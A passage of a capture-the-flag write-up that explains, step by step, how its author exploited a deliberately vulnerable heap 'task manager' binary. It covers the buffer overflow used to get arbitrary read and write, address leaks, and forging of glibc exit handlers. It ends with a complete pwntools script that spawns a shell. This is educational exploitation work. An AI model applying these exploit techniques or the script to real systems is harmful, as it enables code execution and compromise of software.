    scanf("%d", &taskPointer->sel);
    printf("You selected: %d\n\n", taskPointer->sel);

    switch (taskPointer->sel) {
      case ADD_TASK:
        create_tasks(taskPointer->head);
        size += 1;
        break;
      case PRINT_TASK:
        puts("Printing all tasks in order:\n");
        print_tasks(tasks);
        break;
      case DELETE_TASK:
        // Break if no tasks left to remove
        if (size < 1) {
          puts("No task to remove!\n");
          break;
        }
        puts("Removing task...");

        // Deletes last task
        cleanup(&tasks);
        size -= 1;
        printf("Remaining tasks: %lld\n\n", size);
        break;
      case ADD_REMINDER:
        add_reminder(taskPointer);
        break;
      case EXIT_TASK:
        puts("Exiting.....");
        // Cleanup all tasks if exiting
        while (size > 0) {
          cleanup(&tasks);
          size -= 1;
        }
        free(taskPointer);
        return 0;
      default:
        puts("Invalid input! Try again.\n");
        break;
    }
  }
}

This was the final challenge I solved and it took me far too long. Whenever I see malloc in the .got section of a challenge, a shiver runs down my spine. So let's just say that I wasn't super excited when I realized that this was a heap challenge.

As expected, I first patched the binary with patchelf to use the provided libc and dynamic linker:

$ patchelf --set-interpreter ~/task-manager/ld-linux-x86-64.so.2 --set-rpath ~/task-manager/ task-manager

This first step was ever so important because in heap challenges, having the right version of glibc is critical.

Speaking of, I then checked the version of glibc:

$ ./ld-linux-x86-64.so.2 ./libc.so.6
GNU C Library (Debian GLIBC 2.36-9+deb12u13) stable release version 2.36.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 12.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
Minimum supported kernel: 3.2.0
For bug reporting instructions, please see:
<http://www.debian.org/Bugs/>.

So I knew it was glibc 2.36 but that didn't mean that much to me. I knew the version dictated the type of heap exploitation you could and couldn't do, however, that was a bridge I was willing to cross later. Moving on, I briefly read the the challenge's source code in task-manager.c.

The source code followed the typical heap challenge CRUD structure except without the "U". The program managed a singly linked list of Tasks:

// struct for Tasks
typedef struct Tasks {
  char task[80];
  struct Tasks* next;
} Tasks;

Arbitrary read and write primitive

I did an initial scan for vulnerabilities, and came across the blatant OOB write in create_tasks:

// Enter info for new task
printf("Enter task (max. 80 characters): ");
read(0, temp->task, 88);

Cool, so I could overwrite the next field in a Tasks but what did that mean? Well, dynamic analysis answers all questions quickly.

I wrote the skeleton of a pwntools interaction script which I'll refer back to when describing certain interactions. Below were the interfaces:

def add_task(task):
    ...

def print_task():
    ...

def delete_task():
    ...

def add_reminder(reminder):
    ...

def exit_task():
    ...

I set the next pointer to 0xdeadbeef, created a new task, tried to write to it, and sure enough got a segfault on that address:

add_task(b"A" * 80 + p64(0xdeadbeef))
add_task(b"B" * 80) # segfault!

The program was trying to write to 0xdeadbeef! I took another look at create_tasks to understand this statically:

// Creates new task
inline __attribute__((always_inline)) void create_tasks(Tasks** tasks) {
  Tasks* temp = NULL;

  // If no tasks exist, create Tasks struct
  if (*tasks == NULL) {
    *tasks = malloc(sizeof(Tasks));
    temp = *tasks;
    temp->next = malloc(sizeof(Tasks));
  }
  // Otherwise, create next task
  else {
    temp = *tasks;
    for (unsigned long long i = 1; i <= size; ++i) {
      temp = temp->next;
    }
    temp->next = malloc(sizeof(Tasks));
  }

  // Enter info for new task
  printf("Enter task (max. 80 characters): ");
  read(0, temp->task, 88);

  printf("Task you entered: %s\n", temp->task);
}

The program was a bit funky with how it created tasks: it allocated the next task before it was actually needed. When you created a task, you didn't allocate memory for that task (unless it was the first task) but for the task after it. And since you could overwrite the next pointer, when it came time to create a new task and the function traversed the linked list to the end, it used the next pointer you controlled as a task pointer. Therefore, I had an arbitrary write as I could create a task at an arbitrary address.

Controlling the next pointer also allowed for an arbitrary read. If you set the next pointer to a desired address offset by by -80 bytes, you would align the task field with the desired address. Basically you're saying that the Task at the next pointer is 80 bytes behind where it should so that the task field lines up with your desired address. If you then called print_tasks, you would read from the task field which is now at that desired address.

For example, the interaction below would read from 0xdeadbeef:

addr = 0xdeadbeef
add_task(b"A" * 80 + p64(addr - 80))
print_task()

But at this point I was blind regarding the memory layout, I had no idea where things were, I needed an initial leak to bootstrap myself.

Heap leak

Another issue with task creation was that it didn't NULL terminate the input. Therefore, you could continue reading past the task buffer and read the next pointer! All you had to do was enter exactly 80 bytes:

add_task(b"A" * 80)
print_task()

Looking in pwndbg you can see how the task buffer which begins at 0x55555555b300 is flush with the next pointer at 0x55555555b350:

pwndbg> x/24a 0x55555555b2f0
0x55555555b2f0: 0x0     0x61
0x55555555b300: 0x4141414141414141      0x4141414141414141
0x55555555b310: 0x4141414141414141      0x4141414141414141
0x55555555b320: 0x4141414141414141      0x4141414141414141
0x55555555b330: 0x4141414141414141      0x4141414141414141
0x55555555b340: 0x4141414141414141      0x4141414141414141
0x55555555b350: 0x55555555b360  0x61
0x55555555b360: 0x0     0x0
0x55555555b370: 0x0     0x0
0x55555555b380: 0x0     0x0
0x55555555b390: 0x0     0x0
0x55555555b3a0: 0x0     0x0

From a next pointer leak, I could calculate the heap base since heap allocations are always at a constant offset from the heap base.

First I had to view the process's memory map:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x555555554000     0x555555555000 r--p     1000       0 task-manager_patched
    0x555555555000     0x555555556000 r-xp     1000    1000 task-manager_patched
    0x555555556000     0x555555557000 r--p     1000    2000 task-manager_patched
    0x555555557000     0x555555558000 r--p     1000    2000 task-manager_patched
    0x555555558000     0x55555555b000 rw-p     3000    3000 task-manager_patched
    0x55555555b000     0x55555557c000 rw-p    21000       0 [heap]
    0x7ffff7ddb000     0x7ffff7dde000 rw-p     3000       0 [anon_7ffff7ddb]
    0x7ffff7dde000     0x7ffff7e04000 r--p    26000       0 libc.so.6
    0x7ffff7e04000     0x7ffff7f5a000 r-xp   156000   26000 libc.so.6
    0x7ffff7f5a000     0x7ffff7fad000 r--p    53000  17c000 libc.so.6
    0x7ffff7fad000     0x7ffff7fb1000 r--p     4000  1cf000 libc.so.6
    0x7ffff7fb1000     0x7ffff7fb3000 rw-p     2000  1d3000 libc.so.6
    0x7ffff7fb3000     0x7ffff7fc2000 rw-p     f000       0 [anon_7ffff7fb3]
    0x7ffff7fc2000     0x7ffff7fc6000 r--p     4000       0 [vvar]
    0x7ffff7fc6000     0x7ffff7fc8000 r--p     2000       0 [vvar_vclock]
    0x7ffff7fc8000     0x7ffff7fca000 r-xp     2000       0 [vdso]
    0x7ffff7fca000     0x7ffff7fcb000 r--p     1000       0 ld-linux-x86-64.so.2
    0x7ffff7fcb000     0x7ffff7ff1000 r-xp    26000    1000 ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000   27000 ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   31000 ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   33000 ld-linux-x86-64.so.2
    0x7ffffffdd000     0x7ffffffff000 rw-p    22000       0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000       0 [vsyscall]

The heap base was at 0x55555555b000 and the leak was at 0x55555555b360. So the heap base was always 0x360 bytes before the leak.

So I had a heap leak, but that's still wasn't a good enough leak. I needed a libc leak too.

Libc leak

I knew that one way to get a libc leak from the heap was to free a chunk that would get placed in the unsorted bin which would place some libc pointers in its header. Only chunks larger than a certain size get placed in the unsorted bin. Based on what I'd seen, 0x420 was a safe lower bound.

There were a couple of ways I could do this. I decided to just overwrite the second task's chunk header. With the heap leak, I knew where allocations would be placed under normal conditions so I knew exactly where to write.

However, I had to be a bit careful where to set the next pointer to overwrite the second task's header since wherever I set the next pointer, a task would be created there and then a few bytes later, that task's next pointer would be written. I decided to overwrite the next pointer to point a bit inside the first task and then write down into the second task's header making sure to preserve it's next pointer.

Here was the interaction I used to overwrite the second task's chunk header:

add_task(b"B" * 80 + p64(task_2 - 0x50))
add_task(b"C" * 64 + p64(task_2) + p64(0x420 | 1) + p64(task_2 + 0x410))

And the resulting heap looked like:

pwndbg> x/36a 0x55555555b2f0
0x55555555b2f0: 0x0     0x61
0x55555555b300: 0x4141414141414141      0x4141414141414141
0x55555555b310: 0x4343434343434343      0x4343434343434343
0x55555555b320: 0x4343434343434343      0x4343434343434343
0x55555555b330: 0x4343434343434343      0x4343434343434343
0x55555555b340: 0x4343434343434343      0x4343434343434343
0x55555555b350: 0x55555555b360  0x421
0x55555555b360: 0x55555555b770  0x4242424242424242
0x55555555b370: 0x4242424242424242      0x4242424242424242
0x55555555b380: 0x4242424242424242      0x4242424242424242
0x55555555b390: 0x4242424242424242      0x4242424242424242
0x55555555b3a0: 0x4242424242424242      0x4242424242424242
0x55555555b3b0: 0x55555555b310  0x61
0x55555555b3c0: 0x0     0x0
0x55555555b3d0: 0x0     0x0
0x55555555b3e0: 0x0     0x0
0x55555555b3f0: 0x0     0x0
0x55555555b400: 0x0     0x0

I set the next pointer of the third task to 0x410 bytes after the second task so I could write two additional fake chunks after it. The additional chunks were required because in the free code path, a look ahead is performed to determine if the next chunk should be coalesced.

Here was the interaction to create the fake chunks after:

add_task((b"D" * 8 + p64(0x20 | 1) + b"E" * 0x18 + p64(0x20 | 1)).ljust(80, b"G") + p64(task_2))

And resulting heap looked like:

pwndbg> x/12a 0x55555555b770
0x55555555b770: 0x4444444444444444      0x21
0x55555555b780: 0x4545454545454545      0x4545454545454545
0x55555555b790: 0x4545454545454545      0x21
0x55555555b7a0: 0x4646464646464646      0x4646464646464646
0x55555555b7b0: 0x4646464646464646      0x4646464646464646
0x55555555b7c0: 0x55555555b360  0x0

I set the next pointer to point back to the second task (the one with the header I overwrote) so the program thought it was the last task on the linked list and I could free it. So after I freed the second task, I expected it to be placed in the unsorted bin, and for there to be a libc leak inside it.

I verified that the chunk was indeed placed in the unsorted bin:

pwndbg> bins
tcachebins
empty
fastbins
empty
unsortedbin
all: 0x55555555b350 —▸ 0x7ffff7fb1cc0 ◂— 0x55555555b350
smallbins
empty
largebins
empty

Then I had a look at the libc leaks on the heap:

pwndbg> x/36a 0x55555555b2f0
0x55555555b2f0: 0x0     0x61
0x55555555b300: 0x4141414141414141      0x4141414141414141
0x55555555b310: 0x4343434343434343      0x4343434343434343
0x55555555b320: 0x4343434343434343      0x4343434343434343
0x55555555b330: 0x4343434343434343      0x4343434343434343
0x55555555b340: 0x4343434343434343      0x4343434343434343
0x55555555b350: 0x55555555b360  0x421
0x55555555b360: 0x7ffff7fb1cc0  0x7ffff7fb1cc0
0x55555555b370: 0x0     0x0
0x55555555b380: 0x4242424242424242      0x4242424242424242
0x55555555b390: 0x4242424242424242      0x4242424242424242
0x55555555b3a0: 0x4242424242424242      0x4242424242424242
0x55555555b3b0: 0x55555555b310  0x61
0x55555555b3c0: 0x0     0x0
0x55555555b3d0: 0x0     0x0
0x55555555b3e0: 0x0     0x0
0x55555555b3f0: 0x0     0x0
0x55555555b400: 0x0     0x0

Nice, there were now pointers to libc, the leaks I needed, inside the second chunk. I didn't have to do anything special to read the leaks as they ended up in the second task's tasks field and all I had to do was call print_task. At this point the tasks linked list was in the order: 0x55555555b300, 0x55555555b360, 0x55555555b310. However, notice how the libc leak overwrote the next pointer of the third task, that was fine though as luckily it was in writable memory.

It was at this point that I encountered my first problem. After freeing the chunk, I wasn't able to subsequently create more than one task. If I tried to create more, the program would segfault. It turned out that malloc was trying to split the fake chunk that was in the unsorted bin to fulfill the allocation. But as you could expect, the chunk's metadata was all over the place!

I got stuck here for a bit. This was where understanding malloc internals better would've helped. Eventually I found the answer. While I couldn't stop the fake chunk from being split, I could delay it. The idea was to allocate and free a pool of tasks early on. That way, I'd have a series of chunks of the correct size in tcache and some bins. And then when I tried to allocate after freeing the fake chunk, malloc wouldn't even look at it, it'd just reallocate the chunks I freed earlier.

Concretely, using this interaction before leaking libc solved the issue:

for i in range(16):
    add_task(b"X" * 80)

for i in range(16):
    delete_task()

Code execution

To achieve code execution, my plan was to overwrite glibc exit handlers. This was the most fiddly part. I had only done it once before in another heap exploitation challenge using this amazing writeup as reference. glibc's exit handling mechanism requires a bit of work to exploit, but this blog post is very informative.

glibc stores a list of exit handlers which get registered with atexit and on_exit and called when the program exits. exit will call __run_exit_handlers which receives a struct exit_function_list** argument.

A struct exit_function_list contains a fns field of type struct exit_function[32]:

struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

It's in a struct exit_function where an exit handler function pointer is stored:

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
  void (*at) (void);
  struct
    {
      void (*fn) (int status, void *arg);
      void *arg;
    } on;
  struct
    {
      void (*fn) (void *arg, int status);
      void *arg;
      void *dso_handle;
    } cxa;
      } func;
  };

Here's the enum that the comment referenced:

enum
{
  ef_free,  /* `ef_free' MUST be zero!  */
  ef_us,
  ef_on,
  ef_at,
  ef_cxa
};

The enum dictates the type of exit function. For exploitation, the cxa flavor is most useful as it allows for an argument to get passed in, this makes it ideal for calling system.

However, glibc implements pointer encryption to make it hard to manipulate the function pointers in a struct exit_function.

Below is literally all it is:

def encrypt(x, key):
    return rol(x ^ key, 0x11)

def decrypt(x, key):
    return ror(x, 0x11) ^ key

The only way to defeat pointer encryption is to know the key. Luckily, the first exit function is always the same, it's the function _dl_fini which exists in the dynamic linker. Therefore, if you can read it, you can easily solve for the key:

key = ror(dl_fini_enc, 0x11) ^ dl_fini

I first had to find a few addresses: the dynamic linker base, _dl_fini address, struct exit_function_list** argument address, and the _dl_fini encrypted function pointer address. All of these addresses can be expressed relative to the libc base. The dynamic linker is always loaded after libc at some fixed offset, _dl_fini sits somewhere in the dynamic linker, and the struct exit_function_list** argument and _dl_fini encrypted function pointer are somewhere in libc.

The process's memory map revealed that the dynamic linker base was 0x1ec000 bytes from the libc base, a trip to Ghidra revealed that the struct exit_function_list** was 0x1d3820 bytes from the libc base, and dereferencing that address in pwndbg revealed that the encrypted _dl_fini function pointer was 0x2f8 bytes from the libc base.

The _dl_fini symbol isn't exported from the dynamic linker. The traditional way to find it is to read it from the exit handler function pointer after it's been decrypted. But for some reason my GDB watchpoint never hit, so I just used a placeholder offset from the dynamic linker for the time being. I could always find it later.

The next step was to leak the encrypted _dl_fini function pointer. This was trivial as I already knew where it was relative to libc. If you recall, the last next pointer was somewhere in writable libc memory, I took a look around, and it seemed like there were a bunch of important pointers there. Just to be safe, I made to preserve as many as I could.

The following interaction leaked the encrypted _dl_fini pointer while preserving what was there:

add_task(flat([heap_base + 0x530, 0, heap_base + 0x350, heap_base + 0x250, libc.address + 0x1d3cd0, libc.address + 0x1d3cd0, libc.address + 0x1d3ce0, libc.address + 0x1d3ce0, libc.address + 0x1d3cf0, libc.address + 0x1d3cf0, _dl_fini_enc_addr - 0x8])
add_task(b"A" * 0x8)
print_task()

With the encrypted _dl_fini pointer, I then calculated the encryption key. The next step was to craft a fake struct exit_function_list in a task and overwrite the existing one to point to it. The exit function list I crafted had one struct exit_function which called system with /bin/sh as the argument.

The following interaction crafted that struct exit_function_list and set the next pointer to the address of the real one.

exit_fn_list = flat([0, 1, 4, encrypt(libc.sym.system, key), next(libc.search(b"/bin/sh")), 0])
add_task(t, exit_fn_list.ljust(80, b"H") + p64(exit_fn_list_arg_addr))

It was then just a matter of overriding the real struct exit_function_list pointer with the address of the one I just created. I used pwndbg to determine it's offset relative to the heap base.

Once I'd overwritten the exit handlers, the way to call them, was to call exit, or in my case, just return from the program so it could give control back to glibc which could then call exit. But there was one problem: the return code path required freeing each chunk in the linked list, but due to the next pointer corruption, I didn't have proper chunk headers where they were supposed to be and free would crash.

The number of tasks that got freed was determined by the size global variable. This was the one thing that didn't allow the program to return cleanly. If I could set it to 0, then I wouldn't have to worry about freeing any tasks. It was in writable memory, however I didn't have a program address leak so I didn't know where it was.

Program leak

I had a heap and libc leak, but didn't think it was possible to leak the program address as well. But I completely forgot about the linker leak I had! It turns out that the dynamic linker knows about the complete memory map of a program (who would've thought?) and stores this information in a linkmap structure. If I could read from the linkmap structure I could leak the program base. pwndbg has a nice linkmap command which displays where in memory each entry is located. All I had to do was get the program address entry as an offset from the dynamic linker address.

Here was the output of the linkmap command in pwndbg:

pwndbg> linkmap
Node           Objfile                                                                            Load Bias      Dynamic Segment
0x7ffff7ffe2e0 <Unknown, likely /home/jeremy/ctf/tamu/2026/pwn/task_manager/task-manager_patched> 0x555555554000 0x55555555a128 
0x7ffff7ffe8b0 linux-vdso.so.1                                                                    0x7ffff7fc8000 0x7ffff7fc8438 
0x7ffff7fc0270 /home/jeremy/ctf/tamu/2026/pwn/task_manager/libc.so.6                              0x7ffff7dde000 0x7ffff7fb0b60 
0x7ffff7ffdad0 /home/jeremy/ctf/tamu/2026/pwn/task_manager/ld-linux-x86-64.so.2                   0x7ffff7fca000 0x7ffff7ffce40 

I wasted no time to again use the arbitrary read and write primitives to leak the program address and then write 0xffffffffffffffff to size so that it would overflow to 0. I exited the program and... segfault. It broke my heart.

There was some good news though: at least I was actually in the exit handler now. The segfault was a result of the placeholder _dl_fini address I was using. It was time to find the real address.

I mentioned that I had solved a similar challenge before where I overwrote exit handlers. I used the address of that challenge's _dl_fini address as an initial base and then brute forced functions near that address in Ghidra. I eventually found it a few functions below. Kind of cursed, but hey it worked. Seeing the program fork into /bin/sh was the greatest feeling. But I still had to solve it on the remote instance...

Conclusion

My exploit didn't work on the remote instance the first try. I was segfaulting when I tried to read from the linkmap. I knew from that previous challenge that the dynamic linker offset from libc is system dependent. On my system it was 0x15000 bytes. However, after brute forcing the offset on the remote instance in page size increments, I learned that the offset was 0x19000 bytes.

At long last I had solved the challenge, and as a token of my effort I received the flag: gigem{f4s7b1N5_0f_5p141t_hAuN7_8s_d1A593c6CeF}.

Based on the flag, I don't think I solved the challenge the intended way. Also after the competition, I learned that there was a convenient stack leak on the heap... But nonetheless, I had fun solving it this roundabout way.

Below was my final exploit:

#!/usr/bin/env python3

from pwn import *

context.binary = "./task-manager_patched"
libc = context.binary.libc

ADD_TASK = 1
PRINT_TASK = 2
DELETE_TASK = 3
ADD_REMINDER = 4
EXIT_TASK = 5

PROMPT = b"Enter your input: "

def encrypt(x, k):
    return rol(x ^ k, 0x11)

def decrypt(x, k):
    return ror(x, 0x11) ^ k

def add_task(t, task):
    prompt = b"Enter task (max. 80 characters): "
    t.sendlineafter(PROMPT, str(ADD_TASK).encode())
    t.sendafter(prompt, task)

def print_task(t):
    t.sendlineafter(PROMPT, str(PRINT_TASK).encode())

def delete_task(t):
    t.sendlineafter(PROMPT, str(DELETE_TASK).encode())

def add_reminder(t, reminder):
    t.sendlineafter(PROMPT, str(ADD_REMINDER).encode())
    t.sendlineafter(b"Enter reminder (max. 72 characters): ", reminder)

def exit_task(t):
    t.sendlineafter(PROMPT, str(EXIT_TASK).encode())

def main():
    t = process(context.binary.path)

    t.sendlineafter(b"Enter your name (max. 40 characters): ", b"");

    add_task(t, b"A" * 80) # task 1
    print_task(t)

    # Leak heap base.
    t.recvuntil(b"Task #1: ")
    t.recvuntil(b"A" * 80) # read task 1
    task_2 = u64(t.recvline(False).ljust(8, b"\x00"))
    task_1 = task_2 - 0x60
    heap_base = task_2 - 0x360

    for i in range(16):
        add_task(t, b"X" * 80)

    for i in range(16):
        delete_task(t)

    # Leak libc base.
    add_task(t, b"B" * 80 + p64(task_2 - 0x50))
    add_task(t, b"C" * 64 + p64(task_2) + p64(0x420 | 1) + p64(task_2 + 0x410))
    add_task(t, (b"D" * 8 + p64(0x20 | 1) + b"E" * 0x18 + p64(0x20 | 1)).ljust(80, b"F") + p64(task_2))
    delete_task(t)
    print_task(t)
    t.recvuntil(b"Task #2: ")
    libc_leak = u64(t.recvline(False).ljust(8, b"\x00"))
    libc.address = libc_leak - 0x1d3cc0

    # Leak `_dl_fini` exit function.
    exit_fn_list_arg_addr = libc.address + 0x1d3820
    dl_fini_enc = libc.address + 0x1d52f8
    libc_end_addr = libc.address + 0x1d5000
    ld_addr = libc_end_addr + 0x17000 # NOTE: This offset is system dependent!
    dl_fini_addr = ld_addr + 0x004680
    p = flat([
        heap_base + 1328,
        0,
        heap_base + 848,
        heap_base + 848,
        libc.address + 1916112,
        libc.address + 1916112,
        libc.address + 1916128,
        libc.address + 1916128,
        libc.address + 1916144,
        libc.address + 1916144,
        dl_fini_enc - 8
        ])
    add_task(t, p)
    add_task(t, b"A" * 8)
    print_task(t)
    t.recvuntil(b"Task #5: ")
    t.recvuntil(b"A" * 8)
    dl_fini_enc = u64(t.recvline(False).ljust(8, b"\x00"))

    # Recover pointer encryption key.
    key = ror(dl_fini_enc, 0x11) ^ dl_fini_addr

    # Replace the exit function list with a fake one.
    exit_fn_list = flat([
        0,
        1,
        4,
        encrypt(libc.sym.system, key),
        next(libc.search(b"/bin/sh")),
        0
    ])
    add_task(t, exit_fn_list.ljust(80, b"H") + p64(exit_fn_list_arg_addr))
    exit_function_list_task_addr = task_2 + 0x540

    # Leak program base.
    link_map = ld_addr + 0x342e0
    add_task(t, p64(exit_function_list_task_addr).ljust(80) + p64(link_map))
    add_task(t, b"A")
    print_task(t)
    t.recvuntil(b"Task #8: ")
    t.recvuntil(b"A")
    pie = u64(t.recvline(False).ljust(8, b"\x00")) << 8
    context.binary.address = pie

    # Overwrite `size` with -1.
    add_task(t, b"A" * 80 + p64(context.binary.sym.size))
    add_task(t, p64(0xffffffffffffffff) * 2)

    # Call fake exit function.
    exit_task(t)

    t.interactive()

if __name__ == "__main__":
    main()